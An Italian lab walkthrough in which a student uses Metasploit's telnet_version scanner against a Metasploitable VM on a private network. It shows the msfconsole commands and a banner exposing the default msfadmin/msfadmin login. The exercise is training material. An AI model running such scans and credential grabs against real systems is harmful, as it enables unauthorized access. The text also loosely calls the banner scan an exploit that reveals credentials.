S7L2

Hacking protocollo Telnet con Metasploit

L'obbiettivo è a, utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable.

Requisito

Seguire gli step visti in lezione teorica. Prima, configurate l'ip della vostra Kali con 192.168.1.25 e l'ip della vostra Metasploitable con 192.168.1.40

Esercizio pratico

Dopo aver configurato i gli indirizzi ip per le macchine virtuali apriamo il tool metasploit con il comando 'msfconsole'.
Successivamente andrò a cercare il giusto exploit con il comando 'search telnet_version'.
L'exploit che andrò a utilizzare sarà auxiliary/scanner/telnet/telnet_version

La schermata sotto mostrerà l'utilizzo dell'exploit + il comando 'show options' + il comando 'set' per settare il giusto indirizzo IP da attaccare.

```
msf6 > search telnet_version

Matching Modules
================

   #  Name                                                Disclosure Date  Rank    Check  Description
   -  ----                                                ---------------  ----    -----  -----------
   0  auxiliary/scanner/telnet/lantronix_telnet_version                    normal  No     Lantronix Telnet Servi
ce Banner Detection
   1  auxiliary/scanner/telnet/telnet_version                              normal  No     Telnet Service Banner
Detection


Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/telnet/telnet_versi
on

msf6 > use 1
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS                     yes       The target host(s), see https://github.com/rapid7/metasploit-framewor
                                        k/wiki/Using-Metasploit
   RPORT     23               yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one per host)
   TIMEOUT   30               yes       Timeout for the Telnet probe
   USERNAME                   no        The username to authenticate as

msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.40
rhosts => 192.168.1.40
```

Successivamente andrò ad avviare l'exploit con il comando 'exploit', e tale script mi mostrerà username e password del protocollo telnet. Questo succede grazie al modulo selezionato che andrà a scannerizzare e identificare i dati di cui abbiamo bisogno.

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[+] 192.168.1.40:23       - 192.168.1.40:23 TELNET _                _ _         _     _        ____  \x0
a _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_
\| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __/
/ __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a
    |_|                                                  \x0a\x0a\x0aWarning: Never expose this VM to an untrusted netw
ork!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0amet
asploitable login:
[*] 192.168.1.40:23       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) >
```

In una scala da 1 a 10, questa è una **criticità 10**, il consiglio è aggiornare al più presto il protocollo.